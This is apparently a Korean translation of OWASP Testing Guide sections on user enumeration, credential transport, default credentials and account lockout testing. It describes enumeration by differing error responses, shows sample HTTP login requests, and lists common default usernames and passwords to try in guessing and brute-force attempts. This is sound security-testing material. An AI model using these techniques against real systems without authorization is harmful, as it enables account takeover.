일반적으로 어플리케이션은 잘못된 요청에 대해 에러 메시지와 길이로 응답합니다. 만약 응답이 같지 않다면, 테스터는 두 응답의 차이를 발생시키는 키를 찾고 조사해야합니다.

예제:

  • 클라이언트 요청: 유효한 사용자/잘못된 패스워드 --> 서버응답:'The password is not correct'
  • 클라이언트 요청: 잘못된 사용자/잘못된 패스워드 --> 서버응답:'User not recognized'

위의 응답을 통해 클라이언트는 첫 번째 요청에 대해 유효한 사용자 이름을 가지고 있다는 것을 알 수 있습니다. 그래서 그들은 가능한 사용자 ID 집합을 요청하고 응답을 관찰하는 응용 프로그램과 상호 작용할 수 있습니다.

두 번째 서버 응답을 살펴보면 테스터는 유효한 사용자 이름을 보유하고 있지 않은지 동일한 방식으로 이해합니다. 그래서 그들은 같은 방식으로 상호 작용하고 서버 응답을보고 유효한 사용자 ID의 목록을 만들 수 있습니다.


사용자 리스팅 또다른 방법

테스터는 다음과 같이 여러가지 방법으로 사용자 리스팅을 할 수 있습니다.

로그인 페이지에서 받는 에러 코드 분석

일부 웹 어플리케이션은 지정한 에러 코드 또는 분석할 수 있는 메시지를 배포합니다.


URL과 리다이렉트 URL을 분석

예제:

http://www.foo.com/err.jsp?User=baduser&Error=0
http://www.foo.com/err.jsp?User=gooduser&Error=2

위와 같이 테스터가 웹 애플리케이션에 사용자 ID와 비밀번호를 제공하면 URL에 오류가 발생했다는 메시지가 표시됩니다. 첫 번째 경우에는 잘못된 사용자 ID와 잘못된 암호가 제공됩니다. 두 번째는 좋은 사용자 ID와 잘못된 암호이므로 유효한 사용자 ID를 식별 할 수 있습니다.

URI Probing

때로는 웹 서버가 기존 디렉토리에 대한 요청을 받으면 다르게 응답합니다. 예를 들어 일부 포털에서는 모든 사용자가 디렉토리와 연결됩니다. 테스터가 기존 디렉토리에 액세스하려고하면 웹 서버 오류가 발생할 수 있습니다.

웹 서버에서 받는 가장 일반적인 오류는 다음과 같습니다.

403 Forbidden error code

and

404 Not found error code

예제

http://www.foo.com/account1 - 웹 서버로부터 수신:
403 Forbidden
http://www.foo.com/account2 - 웹 서버로부터 수신:
404 file Not Found

첫 번째 경우에는 사용자가 있지만 테스터는 웹 페이지를 볼 수 없지만 두 번째 경우에는 "account2"라는 사용자가 존재하지 않습니다. 이 정보를 수집함으로써 테스터가 사용자를 열거 할 수 있습니다.

웹 페이지 타이틀 분석

테스터는 웹 페이지 제목, 특정 오류 코드를 얻을 수있는 유용한 정보 또는 문제가 사용자 이름 또는 암호와 관련되어 있는지를 나타내는 메시지를받을 수 있습니다.

예를 들어, 사용자가 응용 프로그램을 인증 할 수없고 제목이 다음과 유사한 웹 페이지를 수신하는 경우

Invalid user
Invalid authentication

복원 장비로 부터 수신된 메시지 분석

복구 기능 (예 : 잊어 버린 비밀번호 기능)을 사용하면 취약한 응용 프로그램이 사용자 이름 존재 여부를 나타내는 메시지를 반환 할 수 있습니다.

예를 들어, 다음과 유사한 메시지가 표시됩니다.

Invalid username: e-mail address is not valid or the specified user was not found.
Valid username: Your password has been successfully sent to the email address you registered with.

Friendly 404 Error Message

존재하지 않는 디렉토리 내의 사용자를 요청할 때 우리는 항상 404 오류 코드를 수신하지는 않습니다. 대신 이미지가있는 "200 ok"를 받을 수 있습니다. 이 경우 특정 이미지를 수신하면 사용자가 존재하지 않는다고 가정 할 수 있습니다. 이 논리는 다른 웹 서버 응답에 적용될 수 있습니다. 트릭은 웹 서버 및 웹 응용 프로그램 메시지에 대한 훌륭한 분석입니다.


사용자 추측

경우에 따라 사용자 ID는 관리자 또는 회사의 특정 정책으로 작성됩니다. 예를 들어 사용자 ID가 순차적으로 생성 된 사용자를 볼 수 있습니다.

  • CN000100
  • CN000101

때로는 사용자 이름이 REALM 별칭과 순차 번호로 만들어지는 경우가 있습니다.

  • R1001 – user 001 for REALM1
  • R2001 – user 001 for REALM2

위의 샘플에서 사용자 ID를 작성하고 wget과 같은 도구로 요청을 제출하여 유효한 사용자 ID를 식별하는 웹 쿼리를 자동화하는 간단한 쉘 스크립트를 작성할 수 있습니다. 스크립트를 만들려면 Perl과 CURL도 사용할 수 있습니다.

다른 가능성은 다음과 같습니다.

  • 신용 카드 번호와 연관된 사용자 ID 또는 일반적으로 패턴이있는 번호.
  • 실제 이름과 관련된 사용자 ID입니다(예 : 프레디 머큐리의 사용자 ID가 "fmercury"이면 Roger Taylor가 "rtaylor"라는 사용자 ID를 가지고 있다고 추측 할 수 있습니다.

다시 말하지만, LDAP 쿼리 또는 Google 도메인 정보 수집(예 : 특정 도메인)에서받은 정보를 바탕으로 사용자 이름을 추측 할 수 있습니다. Google은 특정 검색어를 통해 또는 간단한 셸 스크립트 또는 도구를 통해 도메인 사용자를 찾는 것을 도와줍니다.

주의: 사용자 계정을 열거하면 미리 정의 된 수의 실패한 프로브 (응용 프로그램 정책에 따라)가 발생한 후에 계정을 잠글 수 있습니다. 또한 때로는 IP 주소가 응용 프로그램 방화벽이나 침입 방지 시스템의 동적 규칙에 의해 금지 될 수 있습니다.

Gray Box testing

인증 에러 메시지 테스트

실패한 인증을 생성하는 모든 클라이언트 요청에 대해 응용 프로그램이 동일한 방식으로 응답하는지 확인하십시오. 이 문제를 해결하기 위해 블랙 박스 테스트와 그레이 박스 테스트는 웹 애플리케이션에서받은 메시지 또는 오류 코드 분석을 기반으로 동일한 개념을 가지고 있습니다.

결과

응용 프로그램은 실패한 모든 인증 시도에 대해 동일한 방식으로 응답해야합니다.

예제:

제출된 신용 정보가 유효하지 않습니다.


도구


참고 문헌


권고 사항

로그인 프로세스 중에 입력 한 잘못된 계정 이름, 암호 또는 다른 사용자 자격 증명에 대한 응답으로 응용 프로그램이 일관된 일반 오류 메시지를 반환하는지 확인하십시오.

시스템을 프로덕션으로 릴리스하기 전에 기본 시스템 계정 및 테스트 계정이 삭제되었는지(또는 신뢰할 수없는 네트워크에 노출되었는지) 확인하십시오.

OTG-IDENT-005 (취약 또는 강제 사용자 이름 정책 테스트)


개요

사용자 계정 이름은 종종 매우 구조적입니다(예 : Joe Bloggs 계정 이름은 jbloggs이고 Fred Nurks 계정 이름은 fnurks 임). 유효한 계정 이름은 쉽게 추측 할 수 있습니다.


테스트 목적

일관된 계정 이름 구조가 응용 프로그램을 계정 열거 형에 취약하게 만듭니다. 응용 프로그램의 오류 메시지가 계정 열거를 허용하는지 여부를 결정합니다.


테스트 방법

  • 계정 이름의 구조 결정
  • 유효/유효하지 않은 계정 명에 어플리케이션 응답을 평가
  • 유효한 계정 명을 리스트화 하기 위해 유효/유효하지 않은 계정 명에 다른 응답 사용
  • 유효한 계정 명을 리스트화 하기 위해 계정명 사전 사용

권고 사항

로그인 프로세스 중에 입력 한 잘못된 계정 이름, 암호 또는 다른 사용자 자격 증명에 대한 응답으로 응용 프로그램이 일관된 일반 오류 메시지를 반환하는지 확인하십시오.


03_인증 테스트

OTG-AUTHN-001 (암호화된 채널에서 자격 증명 전송 테스트)


개요

자격 증명 전송 테스트는 사용자의 인증 데이터가 악의적인 사용자에 의해 차단되는 것을 방지하기 위해 암호화 채널을 통해 전송되는 것을 확인하는 걸 의미합니다. 분석은 단순히 웹 어플리케이션에서 HTTPS와 같은 프로토콜을 사용하여 적절한 보안 조치를 취하는지, 데이터가 웹 브라우저로 부터 서버로 암호화되지 않은 상태로 이동하는지 이해하려고 노력하는데 초점을 맞추고 있습니다.

HTTPS 프로토콜은 전송되는 데이터를 암호화하고, 사용자가 원하는 위치를 향해 전송 될 수 있도록 TLS / SSL에 구축됩니다. 분명히, 트래픽이 암호화되어 있다는 사실은 완벽하게 안전하다는 것을 의미하지는 않습니다. 보안은 또한 사용된 암호화 알고리즘 및 어플리케이션을 사용한 키의 안정성에 의존하지만, 이러한 특정 항목은 이 섹션에서 설명되지 않을 것입니다. TLS/SSL 채널의 안전성 테스트에 관한보다 상세한 설명은 취약한 SSL/TLS 테스트 챕터를 참조하십시오.

여기서는, 사용자가 순서대로 웹 양식에 넣어 데이터가 웹 사이트에 로그인 할 경우, 테스터는 공격자로부터 보호 보안 프로토콜을 사용하여 전송에 대한 이해를 하려고 노력합니다. 현재, 이 문제의 가장 일반적인 예는 웹 애플리케이션의 로그인 페이지입니다. 테스터는 사용자의 자격 증명이 암호화 된 채널을 통해 전송되는 것을 확인해야 합니다.

웹 사이트에 로그인하기 위해, 사용자는 일반적으로 POST 방식으로 웹 애플리케이션에 삽입 된 데이터를 송신하는 간단한 양식을 작성합니다. 이러한 데이터가 보안되지 않은 평문 형태로 데이터를 전송하는 HTTP 프로토콜을 사용하거나, 전송 중에 데이터를 암호화하는 HTTPS 프로토콜을 사용하여 전달 될 수 있습니다. 또한 사이트가 HTTP를 통한 액세스 로그인 페이지가 있지만, 실제로는 HTTPS를 통해 데이터를 전송하기도 합니다. 이 테스트는 공격자가 단순히 스니퍼 도구를 사용하여 네트워크를 스니핑하여 중요한 정보를 검색 할 수 있는지 확인하기 위한 것입니다.


테스트 방법


Black Box testing

다음 예제에서 패킷 헤더를 캡쳐하고 검사하기 위하여 WebScarab을 사용할 것입니다.

Example 1: HTTP를 통해 POST 메소드로 데이터 전송

User, Pass 필드로 form이 구성된 로그인 페이지가 있다고 가정합니다. 그리고, 어플리케이션 접근 및 인증을 위한 입력 버튼이 있습니다. 만약 WebScarab로 우리의 요청 헤더를 본다면, 아래와 같을 것 입니다.

POST http://www.example.com/AuthenticationServlet
HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!
Content-Type: application/x-www-form-urlencoded
Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT

해당 예제를 통해 테스터는 HTTP POST를 사용하여 www.example.com/AuthenticationServlet 페이지로 데이터를 요청하는 것을 이해할 수 있습니다. 그래서, 데이터는 암호없이 전송되고, 악의적인 사용자는 Wireshark와 같은 툴으로 네트워크 스니핑으로 사용자명과 패스워드를 훔칠 수 있습니다.

Example 2: HTTPS를 통해 POST 메소드로 데이터 전송

보내는 데이터가 암호화된 HTTPS 프로토콜을 사용하는 웹 어플리케이션이라고 가정합니다. 이 경우 웹 어플리케이션에 로그인 할 때, 아래와 같을 것 입니다.

POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded
Content-length: 50

Command=Login&User=test&Pass=test

HTTPS 프로토콜을 사용하여 www.example.com:443/cgi-bin/login.cgi으로 접근하려는 요청을 볼 수 있습니다. 자격 증명은 암호화 채널을 사용하여 보내지며, 악의적인 사용자는 스니퍼를 사용하여 자격 증명을 읽을 수 없습니다.

Example 3: HTTP를 통해 연결된 페이지에 HTTPS를 통해 POST 메소드로 데이터 전송

이제 HTTP를 통해 통신하는 데 인증 시에만 HTTPS를 사용하는 웹 페이지를 가정합니다. 예를 들어, 식별 없이 다양한 정보와 공개적으로 사용할 수 있는 서비스를 제공하는 큰 회사의 포털에 있을 때 이러한 상황은 발생하지만, 이 사이트는 사용자가 로그인 홈 페이지에서 액세스 할 수있는 전용 섹션이 있습니다. 그래서 로그인시에는 요청 헤더가 아래와 같을 것입니다.

POST https://www.example.com:443/login.do HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/homepage.do
Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH-
0QNSJ3VQB6pLhjkW6F
Content-Type: application/x-www-form-urlencoded
Content-length: 45

User=test&Pass=test&portal=ExamplePortal

HTTPS 프로토콜을 사용하여 www.example.com:443/login.do으로 접근하려는 요청을 볼 수 있습니다. 그러나 Referer 를 보면, www.example.com/homepage.do라는 HTTP로 되어있습니다. HTTPS로 데이터를 보낼 때, SSLStrip 공격으로 확인할 수 있습니다.

Example 4: HTTPS를 통해 GET 메소드로 데이터 전송

마지막 예제에서는 어플리케이션이 GET 메소드를 사용하여 데이터를 전송한다 가정합니다. 이 메소드는 데이터가 URL에 일반 텍스트로 표시되기 때문에, 사용자 명 및 패스워드 같은 민감한 데이터를 전송하는 형태로 사용하지 않습니다. 예를 들어, 요청된 URL은 허가되지 않은 사람들이 서버 로그에서 중요한 데이터를 검색할 수 있습니다.

GET https://www.example.com/success.html?user=test&-
pass=test HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,-
text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/form.html
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
If-None-Match: “43a01-5b-4868915f”

사용자는 데이터가 이전 요청의 본문의 URL에서 텍스트로 전송되어 있지 않은 것을 알 수 있습니다. 그러나, SSL/TLS 가 HTTP 보다 더 낮은 레벨인 레벨 5 프로토콜인 걸 고려해야합니다. 그래서 전체 HTTP 패킷은 여전히 스니퍼를 사용하여 악의적인 사용자에 읽을 수 없도록 URL이 암호화됩니다.

앞서 언급 한 바와 같이 그럼에도 불구하고, 상기 URL에 포함 된 정보는 프록시와 웹 서버 로그와 같은 다양한 위치에 저장 될 수 있기 때문에, 웹 애플리케이션에 중요한 데이터를 보낼 때는 GET 메소드를 사용하는 것이 좋은 방법이 아닙니다.


Gray Box testing

웹 응용 프로그램 개발자와 이야기하고 HTTP 프로토콜과 HTTPS 프로토콜 간의 차이점과 중요한 정보를 전송하는 데 HTTPS를 사용해야하는 이유를 알고 있는지 이해하려고합니다. 그런 다음 권한이없는 사용자가 데이터를 가로 채지 못하도록 로그인 페이지의 모든 중요 요청에서 HTTPS가 사용되는지 확인하십시오.


도구

  • WebScarab
  • OWASP Zed Attack Proxy (ZAP)

권고 사항

Whitepapers

OTG-AUTHN-002 (기본 자격 증명 테스트)


개요

오늘날 웹 어플리케이션은 서버 관리자에 의해 최소한의 구성/사용자 정의로 서버에 설치할 수 있는 유명 오픈 소스 나 상용 소프트웨어를 사용합니다. 또한, 수 많은 하드웨어 제품(네트워크 라우터/데이터베이스 서버)이 웹 기반 설정 및 관리 인터페이스를 제공합니다. 한번 설치된 응용 프로그램은 대부분 제대로 구성하지 않고, 초기 인증 및 설정에 제공되는 기본 자격 증명을 변경하지 않습니다. 또한, 어플리케이션에서 새로운 계정을 생성할 때 기본 패스워드가 생성됩니다. 만약 패스워드가 예측 가능하고 사용자가 첫번째 접속시 바꾸지 않을 경우, 공격자는 어플리케이션의 비인가 접근을 할 수 있습니다.

해당 문제의 근본 원인을 다음과 같이 식별할 수 있습니다.

  • 경험이 부족한 IT 직원. 설치된 인프라 구성 요소에서 기본 암호를 변경해야하는 중요성을 인식하지 못하거나 "유지 관리 용이성"을 위해 암호를 기본값으로 두십시오.
  • 뒷문을 열어 응용 프로그램에 쉽게 액세스하여 테스트하고 나중에 제거하는 것을 잊어 버린 프로그래머.
  • 미리 설정된 사용자 이름과 암호가있는 기본 제공 비 착탈식 기본 계정이있는 응용 프로그램
  • 처음 로그인 한 후 사용자가 기본 자격 증명을 변경하도록 강요하지 않는 응용 프로그램.

테스트 방법


일반 어플리케이션의 기본 자격 증명 테스트

블랙 박스 테스트에서 테스터는 애플리케이션과 기본 인프라에 대해 아무것도 모릅니다. 실제로 이것은 종종 사실이 아니며 응용 프로그램에 대한 일부 정보가 알려져 있습니다. 이 테스트 가이드에 설명 된 기술을 사용하여 정보 수집 장에 접근 가능한 관리 인터페이스가 포함될 수 있는 하나 이상의 공통 응용 프로그램을 식별했다고 가정합니다.

시스코 라우터 웹 인터페이스 또는 Weblogic 관리자 포털과 같은 응용 프로그램 인터페이스를 식별 한 경우 이러한 장치에 대한 알려진 사용자 이름과 암호가 성공적인 인증을 초래하지 않는지 확인하십시오. 이렇게 하려면 제조업체의 설명서를 참조하거나 훨씬 간단한 방법으로 검색 엔진을 사용하거나 참조 섹션에 나열된 사이트 또는 도구 중 하나를 사용하여 공통 자격 증명을 찾을 수 있습니다.

기본 및 일반 사용자 계정 목록이없는 응용 프로그램(예: 응용 프로그램이 널리 퍼져 있지 않기 때문에)에 적합한 기본 자격 증명을 추측 할 수 있습니다. 테스트중인 응용 프로그램에서 계정 잠금 정책이 활성화되어 있을 수 있으며 알려진 사용자 이름으로 여러 암호 추측을 시도하면 계정이 잠길 수 있습니다. 관리자 계정을 잠그는 것이 가능하면 시스템 관리자가 다시 설정하는 것이 번거로울 수 있습니다.

많은 응용 프로그램에는 입력 된 사용자 이름의 유효성을 사이트 사용자에게 알리는 자세한 오류 메시지가 있습니다. 이 정보는 기본 또는 추측 가능한 사용자 계정을 테스트 할 때 유용합니다. 이러한 기능은 예를 들어 로그인 페이지, 암호 재설정 및 암호 잊어 버린 페이지 및 가입 페이지에서 찾을 수 있습니다. 기본 사용자 이름을 찾으면이 계정의 암호를 추측 할 수도 있습니다.

이 절차에 대한 자세한 내용은 사용자 열거 및 추측 가능한 사용자 계정 테스트 단원 및 취약한 암호 정책 테스트 절에서 찾을 수 있습니다.

이러한 유형의 기본 자격 증명은 종종 관리 계정에 바인딩되므로 다음과 같은 방법으로 진행할 수 있습니다.

  • "admin", "administrator", "root", "system", "guest", "operator"또는 "super"사용자 이름을 사용해보십시오. 이들은 시스템 관리자들 사이에서 널리 사용되고 자주 사용됩니다. 또한 "qa", "test", "test1", "testing"및 이와 유사한 이름을 사용할 수 있습니다. 사용자 이름과 암호 필드에서 위의 항목을 조합하여 시도하십시오. 응용 프로그램이 사용자 이름 열거에 취약하고 위의 사용자 이름을 성공적으로 식별 할 수있는 경우 유사한 방식으로 암호를 시도하십시오. 또한 위의 계정 또는 다른 열거 된 계정으로 빈 암호 또는 다음 "암호", "pass123", "password123", "admin"또는 "guest"중 하나를 사용해보십시오. 위의 추가 순열도 시도 할 수 있습니다. 이러한 암호가 실패하면 일반적인 사용자 이름과 암호 목록을 사용하고 응용 프로그램에 대해 여러 요청을 시도하는 것이 좋습니다. 물론 이것은 시간을 절약하기 위해 스크립팅 될 수 있습니다.
  • 응용 프로그램 관리 사용자는 종종 응용 프로그램이나 조직의 이름을 따서 명명됩니다. 즉, "애매한" 응용 프로그램을 테스트하는 중이면 사용자 이름 및 암호와 같이 모호한/모호하거나 다른 유사한 조합을 사용해보십시오.
  • 고객에 대한 테스트를 수행 할 때 공통 비밀 번호와 함께 사용자 이름으로받은 대화 상대 이름을 사용하십시오. 고객 이메일 주소 메일을 통해 사용자 계정 이름 지정 규칙을 알 수 있습니다. John Doe 직원이 이메일 주소가 jdoe@example.com 인 경우 소셜 미디어에서 시스템 관리자 이름을 찾고 해당 사용자 이름과 동일한 이름 지정 규칙을 적용하여 사용자 이름을 추측 해 볼 수 있습니다 이름.
  • 위의 모든 사용자 이름을 공백 암호로 사용하여 시도하십시오.
  • 프록시 또는 소스를보고 페이지 소스와 JavaScript를 검토하십시오. 소스의 사용자 및 비밀번호에 대한 참조를 찾습니다. 예를 들어 "사용자 이름 = 'admin'이면 starturl = / admin.asp else /index.asp"(실패한 로그인 대 성공적인 로그인). 또한 유효한 계정이있는 경우 추가 숨겨진 매개 변수, 흥미로운 GET 요청 (로그인 = 예) 등과 같이 유효한 로그인에 대한 모든 요청 및 응답 대 로그인하십시오.
  • 소스 코드에 주석으로 작성된 계정 이름과 암호를 찾습니다. 또한 백업 디렉토리에서 흥미로운 주석과 코드를 포함 할 수있는 소스 코드 (또는 소스 코드의 백업)를 찾으십시오.

새로운 계정 기존 패스워드 테스트

또한 응용 프로그램에 새 계정이 만들어지면 계정에 기본 암호가 지정 될 수도 있습니다. 이 암호는 예측 가능한 표준 특성을 가질 수 있습니다. 사용자가 첫 번째 사용시 변경하지 않으면(사용자가 강제로 변경하지 않는 경우에 자주 발생) 또는 사용자가 아직 응용 프로그램에 로그온하지 않은 경우 공격자가 응용 프로그램에 대한 무단 액세스를 유발할 수 있습니다.

이전에 가능한 잠금 정책 및 자세한 오류 메시지에 대한 조언은 기본 암호를 테스트 할 때도 적용됩니다.

다음 단계는 이러한 유형의 기본 자격 증명을 테스트하는 데 적용 할 수 있습니다.

  • 사용자 등록 페이지를 보면 응용 프로그램 사용자 이름과 암호의 예상되는 형식과 최소 또는 최대 길이를 결정하는 데 도움이 될 수 있습니다. 사용자 등록 페이지가없는 경우 조직에서 전자 메일 주소 나 전자 메일의 "@"앞에 있는 이름과 같은 사용자 이름에 대한 표준 명명 규칙을 사용하는지 확인하십시오.
  • 사용자 이름 생성 방법을 응용 프로그램에서 추정 해보십시오. 예를 들어, 사용자가 자신의 사용자 이름을 선택할 수 있습니까 아니면 시스템이 일부 개인 정보 또는 예측 가능한 시퀀스를 기반으로 사용자의 계정 이름을 생성 할 수 있습니까? 응용 프로그램이 user7811과 같은 예측 가능한 순서로 계정 이름을 생성하는 경우 모든 가능한 계정을 반복적으로 fuzzing 하십시오. 유효한 사용자 이름과 잘못된 암호를 사용할 때 응용 프로그램과 다른 응답을 식별 할 수 있는 경우 유효한 사용자 이름에 대해 무차별 공격을 시도 할 수 있습니다(위 또는 참조 절에서 식별 된 일반 암호를 빠르게 시도 할 수도 있음).
  • 시스템 생성 암호가 예측 가능한지 확인하십시오. 이렇게 하려면 많은 새 계정을 서로 빨리 생성하여 비교할 수 있고 암호가 예측 가능한지 확인할 수 있습니다. 예측 가능한 경우 사용자 이름 또는 열거 된 계정과 이들을 상호 연관시키고 무차별 대입 (brute force attack)의 기초로 사용하십시오.
  • 사용자 이름에 대한 올바른 명명 규칙을 확인한 경우 출생 일례와 같이 일반적으로 예측 가능한 시퀀스를 사용하여 "무차별 대입"암호를 사용해보십시오.
  • 공백 암호로 위의 모든 사용자 이름을 사용하거나 사용자 이름을 암호 값으로 사용하십시오.

Gray Box testing

다음 단계는 완전히 회색 상자 방식에 의존합니다. 이 정보 중 일부만 사용할 수있는 경우 블랙 박스 테스트를 참조하여 공백을 채 웁니다.

  • IT 담당자에게 관리자 액세스에 사용하는 암호와 응용 프로그램 관리 방법을 확인하십시오.
  • 기본 암호가 변경되고 기본 사용자 계정이 비활성화 된 경우 IT 직원에게 문의하십시오.
  • Black Box 테스팅 섹션에서 설명한대로 사용자 데이터베이스에서 기본 자격 증명을 검사하십시오. 빈 암호 필드도 확인하십시오.
  • 하드 코딩 된 사용자 이름과 암호의 코드를 검사하십시오.
  • 사용자 이름과 암호가 포함 된 구성 파일을 확인하십시오.
  • 암호 정책을 검토하고 응용 프로그램이 새 사용자에 대해 자체 암호를 생성하는 경우이 절차에 사용중인 정책을 확인하십시오.

참고 문헌

OTG-AUTHN-003 (취약한 잠금 매카니즘 테스트)


개요

계정 잠금 메카니즘은 패스워드 추측 무작위 공격에 대한 보안으로 사용됩니다. 계정은 일반적으로 3번에서 5번 로그인 시도가 성공하지 못하면 잠기고 일정 시간 후에 자체 해제 메카니즘 또는 관리자 개입을 통해 풀릴 수 있습니다. 계정 잠금 메카니즘은 비인가 접근 사용자와 거부된 인가 접근 사용자 사이에 균형이 필요합니다.

테스트할 때 잠금 메카니즘은 인증의 모든 측면을 포함하고 있어야 합니다. 예, 사용자가 패스워드를 잃어버렸을 때 보안 질문으로 복구하는 메카니즘 (취약한 보안 질의응답 테스트 (OTG-AUTHN-008)).

어플리케이션은 강력한 잠금 메카니즘이 없이는 무작위 공격에 대해 취약할 수 있습니다. 무작위 공격이 성공하게 되면 악의적인 사용자는 접근이 가능하게 됩니다.

  • 기밀 정보 또는 데이터: 웹 애플리케이션의 비공개 섹션은 기밀 문서, 사용자 프로필 데이터, 금융 정보, 은행 정보, 사용자 관계 등을 공개 할 수 있습니다.
  • 관리자 페이지: 이 섹션은 웹 마스터가 웹 응용 프로그램 컨텐츠를 관리 (수정, 삭제, 추가)하고 사용자 프로비저닝을 관리하며 사용자에게 다른 권한을 할당하는 데 사용됩니다.
  • 추가 공격 기회: 웹 응용 프로그램의 인증 섹션에는 웹 응용 프로그램의 공개 섹션에없는 취약점이 포함될 수 있으며 공용 사용자가 사용할 수없는 고급 기능을 포함 할 수 있습니다.

테스트 목적

  • 브루트 포스 패스워드 게싱을 방어하기 위한 계정 잠금 메커니즘 평가
  • 인증되지 않은 계정 잠금 해제로 해제 메커니즘 방어 평가

테스트 방법

일반적으로, 잠금 메카니즘의 강도를 테스트하는 것은 잠겨도 상관없는 계정에 대한 접근이 필요합니다. 만약 웹 어플리케이션으로 로그온 한 계정 뿐이라면, 잠긴 계정 때문에 테스트를 계속할 수 없는 것을 피하기 위해 테스트 마지막에 수행하도록 합니다.

잠금 메카니즘 능력 평가를 위해서는 잘못된 패스워드를 여러 번 사용하여 잘못된 로그인 시도를 해야합니다. 예를 들어 아래 테스트와 같습니다.

  1. 잘못된 패스워드로 3번 로그인 시도

2. 올바른 패스워드로 성공적으로 로그인 이에 따라 3번 잘못된 인증 시도 이 후 잠금 메커니즘이 실행되지 않음을 보여줍니다. 3. 잘못된 패스워드로 4번 로그인 시도 4. 올바른 패스워드로 성공적으로 로그인 이에 따라 4번 잘못된 인증 시도 이 후 잠금 메커니즘이 실행되지 않음을 보여줍니다. 5. 잘못된 패스워드로 5번 로그인 시도 6. 올바른 패스워드로 성공적으로 로그인 어플리케이션은 "Your account is locked out."을 리턴, 이에 따라 계정은 5회 잘못된 인증 시도 잠금되는 걸 확인 7. 5분 후 올바른 패스워드로 로그인 시도 어플리케이션은 "Your account is locked out."을 리턴, 이에 따라 잠금 메카니즘은 5분 후 자동으로 해제되지 않는 것을 확인 8. 10분 후 올바른 패스워드로 로그인 시도 어플리케이션은 "Your account is locked out."을 리턴, 이에 따라 잠금 메카니즘은 10분 후 자동으로 해제되지 않는 것을 확인 9. 15분 후에 올바른 패스워드로 로그인 성공, 이에 따라 잠금 메카니즘은 10분에서 15분 사이에 자동으로 해제되는 것을 확인

보안 문자 (CAPTCHA)는 무차별 대입 공격을 저해 할 수 있지만 자체적인 약점이 있을 수 있으므로(CAPTCHA 테스트 참조) 잠금 메커니즘을 대체해서는 안됩니다.

잠금 해제 메커니즘의 무단 계정 잠금 해제에 대한 저항력을 평가하려면 잠금 해제 메커니즘을 시작하고 약점을 찾으십시오. 일반적인 잠금 해제 메커니즘에는 비밀 질문 또는 전자 메일 잠금 해제 링크가 포함될 수 있습니다. 잠금 해제 링크는 공격자가 링크를 추측하거나 재생하지 못하게하고 일괄 적으로 무차별 공격을 수행하는 고유 한 일회성 링크 여야합니다. 비밀 질문 및 답변은 ​​강해야합니다(약한 보안 질문 / 답변 테스트 참조).

잠금 해제 메커니즘은 계정 잠금 해제에만 사용해야합니다. 이것은 암호 복구 메커니즘과 동일하지 않습니다. 계정 잠금 메커니즘을 구현할 때 고려해야 할 요소는 다음과 같습니다.

  1. 응용 프로그램에 대한 무차별 암호 추측의 위험은 무엇입니까?

  2. 보안 문자는 이 위험을 완화하기에 충분합니까?

  3. 잠금 전의 실패한 로그인 시도 횟수. 잠금 임계 값이 낮 으면 유효한 사용자가 너무 자주 잠길 수 있습니다.

  4. 잠금 임계 값이 높으면 공격자가 잠금을 해제하기 전에 더 많은 시도를 할 수 있습니다. 응용 프로그램의 목적에 따라 5 회에서 10 회까지 시도가 실패하면 일반적인 잠금 임계 값이됩니다.

  5. 계정은 어떻게 잠금 해제됩니까?

    • 관리자가 수동으로 수행하는 작업: 가장 안전한 잠금 방법이지만 사용자에게 불편을 초래할 수 있으며 관리자의 "중요한" 시간을 차지할 수 있습니다.
      • 관리자가 자신의 계정이 잠길 경우를 대비하여 복구 방법도 있어야합니다.
      • 이 잠금 해제 메커니즘은 공격자의 목표가 웹 응용 프로그램의 모든 사용자 계정을 잠그는 것이면 서비스 거부 공격을 유발할 수 있습니다.
    • 일정 기간 후: 잠금 기간은 얼마입니까? 보호되는 응용 프로그램에 충분합니까? 예 : 5 ~ 30 분의 잠금 기간은 무차별 공격을 완화하고 유효한 사용자를 불편하게하는 것 사이에 좋은 절충안이 될 수 있습니다.
    • 셀프 서비스 메커니즘을 통해: 앞에서 설명한 것처럼이 셀프 서비스 메커니즘은 공격자가 계정을 스스로 잠금 해제 할 수 없도록 충분히 안전해야합니다.

참고 문헌

무작위 공격에 대한 OWASP 자료 확인


권고 사항

위험 수준에 따라 계정 잠금 해제 메커니즘을 적용합니다.

  • 시간 기반 잠금과 잠금 해제
  • 셀프 서비스 잠금 해제 (등록된 이메일 주소로 잠금 해제 메일 전송).
